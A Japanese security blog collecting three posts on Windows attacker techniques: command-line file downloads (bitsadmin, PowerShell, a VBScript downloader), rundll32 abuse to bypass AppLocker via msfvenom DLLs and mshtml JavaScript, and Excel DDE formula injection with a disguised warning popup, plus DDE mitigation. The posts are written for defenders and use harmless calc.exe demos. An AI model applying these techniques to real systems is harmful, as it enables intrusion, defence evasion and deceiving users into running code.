Binary Pulsar

技術寄りなセキュリティの話題について書きます

Windows OSのコマンドラインでファイルをダウンロードする手法のまとめ

概要

攻撃者が侵入に成功したWindowsホストで、悪意のあるソフトウェアをダウンロードする場合、何かしらに手法でファイルのダウンロードを命令する必要があります。Internet ExplorerのようなWebブラウザを経由してファイルをダウンロードすることが考えられますが、コマンドラインインターフェースでしか侵入に成功していない場合はそうもいきません。近年のWindowsでは、ファイルのダウンロードに用いることができるコマンドが複数ありますが、古いWindows OSではそういったコマンドが実装されていない場合があります。本記事では、Windows OSで攻撃者が悪用する可能性がある、ファイルダウンロードの手法について解説します。

bitsadmin.exe

Windows 7以後のWindows OSではbitsadmin.exeが標準コマンドとして実装されており、ファイルのダウンロードに用いることができます。以下の書式でcmd.exeまたはPowerShellから実行することで、ファイルをダウンロードすることが可能です。

C:\> bitsadmin /TRANSFER <ジョブ名> /PRIORITY <優先度> <ダウンロードするファイルのURL> <ファイルの保存先>

「ジョブ名」は任意の文字列で問題ありません。「優先度」は高い順からFOREGROUND、HIGH、NORMAL、LOWから選択可能であり、と国指定しない場合はNORMALが設定されます。

PowerShell

Net.WebClientのDownloadFile

PowerShellバージョン2では、ファイルのダウンロードに用いることができるメソッドが、Net.WebClientのDownloadFileメソッドしかありません。以下の書式でメソッドを実行することで、ネットワーク上からファイルをダウンロードできます。

PS C:\> (New-Object Net.WebClient).DownloadFile(<ダウンロードするファイルのURL>, <ファイルの保存先>)

ファイルをダウンロードするものではありませんが、類似するメソッドであるDownloadStringメソッドは、ファイルをダウンロードせずにPowerShellスクリプトを実行するために用いられるため、見たことがある読者は多いでしょう。

wget (Invoke-WebRequest)

PowerShellバージョン3以後では、Invoke-WebRequestがコマンドレットとして実装されています。以下の書式でコマンドレットを実行します。

PS C:\> Invoke-WebRequest -Uri <ダウンロードするファイルのURL> -OutFile <ファイルの保存先>

Invoke-WebRequestはwgetエイリアスされているため、以下のように実行しても同様の結果が得られます。

PS C:\> wget <ダウンロードするファイルのURL> -OutFile <ファイルの保存先>

Start-BitsTransfer

bitsadmin.exeの機能は、Start-BitsTransferコマンドレットとしてPowerShellに実装されているため、ファイルのダウンロードに用いることが可能です。PowerShellバージョン3以後では初期状態で実装されているため、以下のように実行することでネットワーク上のファイルをダウンロードすることが可能です。

PS C:\> Start-BitsTransfer -Source <ダウンロードするファイルのURL> -Destination <ファイルの保存先>

Windows 7PowerShellバージョン2を使用している場合は、初期状態ではStart-BitsTransferコマンドレットが実装されていないため、以下のコマンドレットを実行して明示的にコマンドレットをインポートする必要があります。

PS C:\> Import-Module BitsTransfer

VBScript

Windows XPのような古いWindowsには、ファイルをダウンロードするようなコマンドが実装されていません。しかし、echoコマンドなどでVBScriptを作成し実行することで、ファイルをダウンロードすることが可能です。コマンドラインインターフェースでの侵入にしか成功していない場合は、echoコマンドなどで一行ずつファイルに出力する必要があります。

strUrl = WScript.Arguments.Item(0)
StrFile = WScript.Arguments.Item(1)
Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0
Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0
Const HTTPREQUEST_PROXYSETTING_DIRECT = 1
Const HTTPREQUEST_PROXYSETTING_PROXY = 2
Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts
Err.Clear
Set http = Nothing
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest")
If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP")
If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP")
http.Open "GET", strURL, False
http.Send
varByteArray = http.ResponseBody
Set http = Nothing
Set fs = CreateObject("Scripting.FileSystemObject")
Set ts = fs.CreateTextFile(StrFile, True)
strData = ""
strBuffer = ""
For lngCounter = 0 to UBound(varByteArray)
ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1)))
Next
ts.Close

以上のファイルを、例えばwget.vbsとして保存したとします。cscriptコマンドを用いて、wget.vbsを以下の書式で実行することにより、ファイルをダウンロードすることが可能となります。

C:\> cscript wget.vbs <ダウンロードするファイルのURL> <ファイルの保存先>

まとめ

本記事ではWindowsホストへの侵入に成功した攻撃者が、悪意のあるファイルをネットワーク上からダウンロードする手法について解説しました。コマンドラインでも様々な手法によりファイルをダウンロードすることが可能であるため、攻撃の痕跡を追う際に知っておくとよいでしょう。

rundll32.exeを悪用した命令の実行

概要

攻撃者がWindowsシステムへの侵入に成功し、悪意のあるファイルを実行する際に、EXEファイルだと都合が悪いため様々な手法でファイルの実行を試みます。アンチウイルスソフトにファイルが検知されてしまうことはもちろんですが、侵入したWindowsシステムがAppLockerのような「ファイルの実行を制限するソフトウェア」を導入しておりpowershell.exeやcmd.exeなどの実行を制限している場合は、何かしらの手法で制限を回避してコマンドを実行させる必要があります。今回はAppLockerのようなソフトウェアにより制限されている環境で、制限を回避して命令を実行させるために攻撃者が悪用する手法の一つとして、rudll32.exeを悪用した手法を解説します。

rudll32.exeとは

DLLにはEXE形式のファイルに実装するライブラリ関数が含まれており、Windows OSの根幹をなす機能が含まれているものが多く存在します。Windowsで実行されるプログラムは、DLLから必要な機能を取り出した機能を活用して構成されています。しかし、「DLLからほんの一部の機能だけ取り出して実行したい」という場合に、わざわざC#などによりDLLを読み込んで実行するプログラムを書くのは面倒です。そこで活用できるプログラムがrundll32.exeです。rundll32.exeは「DLLに実装されている関数を取り出して実行するための実行ファイル」であり、Windowsシステムに標準実装されています。以下の書式で実行することにより、対象のDLLに実装されている関数を取り出し実行することが可能です。

rundll32.exe [対象のDLL], [実行したい関数名] [関数の引数]

ただし、rundll32.exeでは、DLLに実装されているすべての関数を呼び出せるわけではありません。これについては本題から離れるため、本記事では割愛します。

例えば、user32.dllに実装されているLockWorkStation関数を実行する場合を考えます。LockWorkStation関数はWindowsに実装されている標準的な関数の一つであり、画面をロックする機能を持ちます。LockWorkStation関数は引数を必要としない関数であるため、以下のようにrundll32.exeを実行することで、画面にロックをかけることが可能です。

rundll32.exe user32.dll, LockWorkStation

命令の呼び出し

それでは、攻撃者が実際にどのような手法でrundll32.exeを悪用して、AppLockerなどのソフトウェア実行制限を回避するかを示します。

単純な呼び出し

もっとも単純な例として、悪意のある関数を実装したDLLからそのまま関数を呼び出す手法を示します。

まずはMetasploitの一部であるmsfvenomを用いて、電卓を起動するDLLを作成します。Kali LinuxなどのMetasploitがインストールされているマシンで以下のコマンドを実行します。以下のコマンドでは、電卓を起動する機能を持ったDLLの名前をupcalc.dllとして出力しています。

msfvenom -p windows/exec CMD=calc.exe -a x86 --platform windows -f dll > upcalc.dll

実行例を以下の図に示します。

f:id:binary-pulsar:20181104223939p:plain

DLLを作成したら、Windowsマシンに作成したDLLを配置します。msfvenomにより作成されたDLLは、エントリポイントに機能が実装されているため、以下の書式でrundll32.exeを実行することで電卓を起動することが可能です。

rundll32.exe C:\Users\testuser\Desktop\upcalc.dll, EntryPoint

実行例を以下の図に示します。

f:id:binary-pulsar:20181104224016p:plain

shell32.dllを経由した呼び出し

DLLを直接呼び出すほかにも、Windowsに標準実装されているDLLに実装されている関数を経由して、攻撃者が作成したDLLを呼び出す手法があります。例えば、shell32.dllというWindows標準のDLLには、Control_RunDLLという関数が実装されており、この関数の引数に攻撃者が作成したDLLを設定することで、対象のDLLをエントリポイントから実行させることが可能です。先ほどの例に挙げたupcalc.dllを用いると、以下のようにrundll32.exeを実行することで電卓を起動することが可能です。

rundll32.exe shell32.dll,Control_RunDLL C:\Users\testuser\Desktop\upcalc.dll

実行例を以下の図に示します。

f:id:binary-pulsar:20181104224038p:plain

JavaScriptを経由した呼び出し

rundll32.exeでは、Internet ExplorerのDLLの一つであるmshtml.dllを経由してJavaScriptを実行することが可能です。mshtml.dllにはInternet Explorerの中心となる機能が実装されており、HTMLとCSS構文解析や表示に用いられます。攻撃者はmshtml.dllのRunHTMLApplicationを用いることで、任意のJavaScriptを実行することでプログラムの実行を試みます。

例えば、Windowsマシンでcmd.exeを起動して以下のコマンドを実行します。

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('Hack!');

JavaScriptのalert関数が実行され、ポップアップが上がるでしょう。実行例を以下の図に示します。

f:id:binary-pulsar:20181104224054p:plain

mshtml.dllはInternet ExplorerのDLLであるため、こうして実行されたJavaScriptからInternet Explorerで利用可能なオブジェクトを呼び出すことが可能です。よって、ActiveXObjectでWscript.shellのRunメソッドを呼び出せば、任意のファイルを実行することが可能です。例えば、以下のようにrundll32.exe実行することで、電卓を起動することが可能です。

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc.exe")

実行例を以下の図に示します。

f:id:binary-pulsar:20181104224116p:plain

まとめ

本記事では、実行可能なファイルが制限された環境下で、攻撃者が実行制限を回避してファイルを実行する手法の一部を解説しました。AppLockerなどにより実行制限をかけた環境でも、何かしらの手法で制限を突破して悪意のある命令が実行されてしまうと考えて、セキュリティ対策したほうが良いでしょう。

DDE機能を悪用したMicrosoft Officeによる遠隔コード実行の手法とその対策

概要

近年のサイバー攻撃において、組織のネットワークに侵入する手法として代表的な手法の一つは、Microsoft Officeによる悪意のあるプログラムの実行であるといえるでしょう。Microsoft Officeによる悪意のあるプログラムの実行と言えば、マクロ機能を悪用した手法を思い浮かべる読者が多いかもしれません。添付ファイルを開いても「マクロを有効にしなければ大丈夫」という認識の人も少なくないでしょう。しかし近年では、マクロ機能を用いなくても悪意のあるプログラムを実行させることができる手法がいくつか存在します。本記事では、マクロ機能を使わずに悪意のあるプログラムを実行させる手法の一つである、Dynamic Data Exchange (DDE)機能を悪用した手法を取り上げます。

Dynamic Data Exchangeとは

DDEは動的なデータ交換を実現するプロトコルです。Microsoft Office製品では、DDEプロトコルを用いることにより、あるMicrosoft Officeファイルから別のMicrosoft Officeファイルのデータを、動的に取り込むことを可能とする機能が備わっています。DDE機能を活用することにより、複数のMicrosoft Officeファイルを連携させることが可能となります。大きなネットワーク上では特に、複数のMicrosoft Officeファイルを管理する上ではDDE機能は有用ですが、2017年10月にSensePost社の研究者により「DDE機能を悪用して任意のコードを実行させる手法」が公開されました。

sensepost.com

本記事ではその手法の概要と対策について取り扱います。

Microsoft Excelの場合

それではDDEによるプログラム実行の手順を解説します。Microsoft WordやMicrosoft PowerPointでも可能ですが、本記事ではMicrosoft Excelを取り上げます。Microsoft Excelを悪用した手法では、以下の性質を悪用します。

  • セルの値が等号(=)、加算記号(+)、減算記号(-)で始まる場合は、セルの値は数式として解釈
  • セルの値がアットマーク(@)で始まる場合は、内部関数を探索して数式の引数として解釈

DDE機能が有効な環境下では、以下の式をセルに挿入することにより、DDEによるデータの更新の際に式に埋め込まれたコマンドが実行されてしまいます。

<コマンド>|'<コマンドライン引数>'!<セル名>

例えば以下の値をMicrosoft Excelの適当なセルに値として設定します。

=cmd|'/k calc.exe'!A1

値を入力し終えると、以下のようにポップアップが起動します。

f:id:binary-pulsar:20181011192604p:plain

ここで「No (いいえ)」を選択すると何も起きませんが、「Yes (はい)」を選択するとcalc.exeが起動します。

f:id:binary-pulsar:20181011192651p:plain

このファイルを保存すれば、手法の検証用ファイルの作成は完了です。このファイルを開くと、以下のように自動アップデートを有効化するかどうかを確認するメッセージが表示されるため、「Enable Content (コンテンツの有効化)」をクリックします。

f:id:binary-pulsar:20181011192721p:plain

すると以下のようにアップデートの許可を求めるポップアップが起動します。

f:id:binary-pulsar:20181011192744p:plain

「Update (更新する)」を選択すると、さらにプログラムの実行の許可を求めるポップアップが表示されます。

f:id:binary-pulsar:20181011192800p:plain

ここで「Yes (はい)」を選択すると、DDE機能により以下のようにcalc.exeが起動します。

f:id:binary-pulsar:20181011192816p:plain

プログラム実行許可のポップアップの表示を偽装

次にポップアップの表示を偽装する手法を紹介します。前節の手法では、最後の「プログラムの実行許可を求めるポップアップ」にて「CMD.EXEの実行を許可するか?」という内容のメッセージが表示されます。攻撃者の観点で言えば、CMD.EXEとそのまま表示される状態では、攻撃対象から気付かれてしまうことが懸念事項となります。そこで、先ほどの値の代わりに、例えば以下の値をセルに設定します。

=MSEXCEL|'\..\..\..\..\..\Windows\System32\cmd.exe /k calc.exe'!A1

すると「プログラムの実行許可を求めるポップアップ」は、以下の図のように、「CMD.EXE」が「MSEXCEL.EXE」に変わっていることがわかります。

f:id:binary-pulsar:20181011192836p:plain

攻撃者はこうしてポップアップのメッセージを変更することにより、攻撃対象の警戒心を和らげます。その他にも、以下のようにrundll32.exeを用いたペイロードを埋め込む手法が考えられます。

=rundll32|'URL.dll,OpenURL calc.exe'!A

rundll32.exeは、DLLから関数を取り出して実行する機能を持つ、Windows OS標準の実行ファイルです。攻撃者が制御を得ることに成功したWindows OSのホストで、アンチウイルスソフトを回避するために利用されることがある実行ファイルでもあります。このように、cmd.exeを用いらずとも任意のコマンドを実行可能できる手法が存在することも、攻撃への対策として認知しておくとよいでしょう。

対策

ポップアップが表示された際に内容をよく確認し不用意な選択しないことが望ましいですが、組織に所属する全職員にそのような習慣を徹底させることは難しいでしょう。可能であればMicrosoft OfficeのDDE機能を無効化することにより、根本的な対策を講じることが良いでしょう。Microsoft OfficeのDDE機能を無効化する手順は、Microsoft社により以下のWebサイトにて公開されています。

マイクロソフト セキュリティ アドバイザリ 4053440

DDE機能の無効化機能は、本手法の公開に伴い2017年12月にアップデートプログラムとして公開されました。よって、DDE機能の無効化による対策を講じる場合は、以下のアップデートを適用する必要があります。

https://portal.msrc.microsoft.com/ja-jp/security-guidance/advisory/ADV170021

まとめ

今回の記事では、DDE機能を悪用してマクロ機能を使うことなく任意のコードを実行する手法を取り上げました。今回はMicrosoft Excelの場合を取り上げましたが、Microsoft WordやMicrosoft PowerPointでも同様の手法が可能です。対策として、ポップアップの内容をよく読み不用意な選択肢を選ばないように習慣づけることが考えられますが、組織のネットワークを守ろうという場合は全職員にそのような習慣をつけることは難しいと考えられるため、完全な対策とはいえません。可能であればDDE機能の無効化により根本的に対策することが望ましいでしょう。